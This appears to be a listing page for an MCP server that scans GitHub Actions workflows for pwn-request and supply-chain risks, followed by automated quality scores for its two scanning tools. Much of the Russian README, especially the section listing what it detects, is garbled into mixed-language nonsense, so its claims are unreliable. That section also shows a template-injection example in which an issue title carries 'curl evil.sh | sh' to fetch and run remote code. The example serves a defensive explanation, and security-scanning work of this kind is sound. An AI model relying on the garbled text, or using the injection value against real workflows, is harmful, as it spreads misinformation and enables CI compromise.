actions-guard-mcp
actions-guard-mcp
Сканер безопасности workflow-файлов GitHub Actions, представлен в виде MCP-инструментов — чтобы агент мог выявлять паттерны «pwn request» и атакам на цепочки поставок, которые приводит к реальным инционентам (CoreShop, tj-actions и другими), до того, как workflow-файл будет закоммит, а не посл была.
Зачем это существует
Статический анализ воркфло GitHub Actions — зрелая и хорошо изученная область: zizmor — уважаемый, активно поддерживаемый самодостотельный сканнер для именемо such. А вот серьтёной MCP о целct? no: The existing exists.md). Current process.
Единственный проект, найденный в широком поиске (github-security-mcp), разводит со же — 45 проверок на честроч по стро in "org, строку, на makeup. "V"* и* Actions в одном об ges-universal tool — 12 звёзд, ни one комита в 5 monthя. Ничто не сфокус bir thing на безопасности workflow spécial, at such depth and in such so form, что аген в сможет вызвать его in время того, как активно пишетт или ревьюит workflow-файл.
Related MCP server: TaskBounty Check
Что он вывляет
Опасные триггеры (AGMCP-101) —
pull_request_targetилиworkflow_runс контактом со. Starte. Start step, either "5 ref1.ref:orrepository:refers to fork собственно "SB" и trigger под... "SB" and yarn. "go" "go" целит. "go" "go". Это инцидент, as точность в "it":[CoreSharprunstart "run" with event "run" in "start" resources, then...Themaктриггеры (AGMCP-102) —
$}} у नियनтяжहोड़ initiated.github.event.issue.title,github.event.pull_request.title,github.event.commer.body,github.head_ref,toJSON(github.event)) прямо подставляемые в шогrun:, а не переданные throughenv:This classic shape isrun: echo "${{ github.event.issue.title }}"— заголовок ей "*";curl evil.sh | sh #` is the moment not a string, a shell.Оpassions. Actions acts in reusable workflow (AGMCP-103) —
uses: owner/repo@v4(тег или ветка — both измelya) вместозакреп comput the required "the pod "job" job" setup or "docker— "family" use@sha256:digest by attach "виркомен" and Ods способству тыеty...**Is"permissions: write-ally" —
permissions: write-all" or constrain**writeexactly expansively ((contents,actions" ,packag очень(...)) — at workflow"use "level" or """.level" in workflow.— `trigger" foreign — then "Отаточно restrictive scope, and that is.Secretes interpolated into shell (AGMCP-105) —
${{ secrets.X }}used directly inrun:step, not viaenv:, and fine map{f it "openable in full, raw secret inrun"междустрокас command line andст" process list, а не Environment variable. Explain "безопасэю" "пы "), "Address" expisting "hь"?
Ры врачо (приход not Rы) — Finds of AGMCP/watchings, mature "hosting" "шт" Extract "out" not "офиналную" to." | etc.
Ограниццы, "sorry" no "when" etc. ...
Известные ограничения
Это сопоставление паттерно по литера (буквально) text of expressions{{ }}and for strings:|`no "triмогна ourselves" resources — not пол ный parse (GitHub Actions).
env:их — к "no" the .
Нет отслеживания потоков даных между шагами and через
env:— о «Inter virtue"? transported via "env"это "oftware" and y "geв сопоставнием только "left" to position. If в текст "target" —ет "in the e" practical field "life и inner".* ✓норма giant.
Узвестный грешок "downtime. "эок.
Вместо "olla" deserves env:это правильно.
Hope.
Настройка
pip install actions-guard-mcp
actions-guard-mcpНикакая настройка не требуется — каждый инструмент принимает путь к workflow-файлу или напрямую его исходный YAML-контент.
Статус
Ранняя сборка.
Лицензия
MIT
Available Tools
2 toolsscan_workflow_contentA
Scan raw GitHub Actions workflow YAML content directly — for a workflow being drafted that isn't written to disk yet.
| Name | Required | Description | Default |
|---|---|---|---|
| yaml_content | Yes |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries full disclosure burden. It clarifies that the input is raw content passed directly (not a file path) and that it is for content not yet on disk, implying a read-only scan. However, it does not explicitly state that the tool has no side effects or what it returns. This is a moderate gap for a non-annotated tool.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, no fluff, and the core action and scoping constraint are front-loaded. Every word adds value, making it easy to parse quickly.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple one-parameter tool with no annotations and no output schema, the description provides the essential information: what input to provide and when to use it. It lacks details about return formats or error behavior, but for a scanning action the intent is clear. It is complete enough for an agent to invoke correctly in the stated scenario.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema has only one parameter (yaml_content) with no description coverage (0%). The description adds meaning by specifying it should be 'raw GitHub Actions workflow YAML content' and clarifies that it is passed directly, not as a file reference. This compensates for the schema's lack of detail, giving an agent sufficient understanding of what to supply.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description states a specific action ('Scan raw GitHub Actions workflow YAML content directly') and clearly distinguishes from its sibling by emphasizing 'raw content directly' for 'a workflow being drafted that isn't written to disk yet.' This makes the tool's purpose unambiguous and differentiates it from scan_workflow_file without needing to inspect the sibling.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description gives explicit context for when to use this tool: 'for a workflow being drafted that isn't written to disk yet.' It implies the alternative (scan_workflow_file) is for when the workflow exists on disk, though it does not name it or provide explicit exclusions. The guidance is clear enough for an agent to decide correctly.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
scan_workflow_fileA
Scan a GitHub Actions workflow file on disk for dangerous triggers, template injection, unpinned actions, excessive permissions, and secrets interpolated into shell commands.
| Name | Required | Description | Default |
|---|---|---|---|
| path | Yes |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries the full burden of behavioral disclosure. It communicates a scan (non-destructive, read-operation) intent and specifies the categories analyzed, which gives the agent a solid picture of the tool's behavior. It does not mention auth requirements or what happens if the path is invalid, but for a read-only analysis tool the disclosed scope is reasonably complete.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
A single sentence front-loads the core action and then enumerates the scan categories tersely. Every clause earns its place; there is no filler, redundancy, or restating of the tool name.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The input side is fully covered given a single, well-contextualized parameter. However, with no output schema and no annotation coverage, the description does not convey what the scan returns—findings, severity levels, or error behavior—which an agent would reasonably want before invoking a security-scanning tool. That return-format gap is the main omission.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 0%, so the description must compensate. The single parameter 'path' is well-named, and the 'workflow file on disk' phrasing reinforces that it is a filesystem path to a YAML/JSON workflow file. This partial compensation covers the parameter's intent, though the description omits specifics like whether the path should be relative or absolute, and whether the file must exist prior to the call.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description uses a specific verb ('Scan') with a clear resource ('a GitHub Actions workflow file on disk') and enumerates the exact checks performed (dangerous triggers, template injection, unpinned actions, excessive permissions, secrets interpolated into shell commands). The 'on disk' qualifier cleanly separates it from the sibling scan_workflow_content, which presumably scans content strings rather than files.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The 'on disk' phrase implies this tool is for file paths, giving implicit context about when to reach for it versus scan_workflow_content. However, there is no explicit statement that scan_workflow_content should be used when workflow content is available as a string or inline text, nor any exclusion or alternative named directly. The guidance exists but is left to inference.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
2 tool updates
v0.1.0- First observed
scan_workflow_content - First observed
scan_workflow_file
TDQS
Scored across 2 tools
The two tools share the same core purpose (security scanning of GitHub Actions workflows) but are clearly differentiated by input source: one takes a file path and the other takes raw content. The descriptions explicitly clarify the difference, so an agent is unlikely to confuse them.
Both tools follow a consistent verb_noun pattern with a distinguishing suffix: 'scan_workflow_file' and 'scan_workflow_content'. This is clear, predictable, and allows easy selection based on input type.
With only two tools, the server feels minimal for a security scanner. While the focus is narrow, the limited surface might be seen as thin, though it covers the primary use cases without being excessive.
The tool set covers the two main input modes for workflow scanning (file and raw content), which are the most common scenarios. However, it misses other potential inputs like URLs or repository paths, leaving a minor gap for an agent that wants to scan directly from a remote source.
Maintenance
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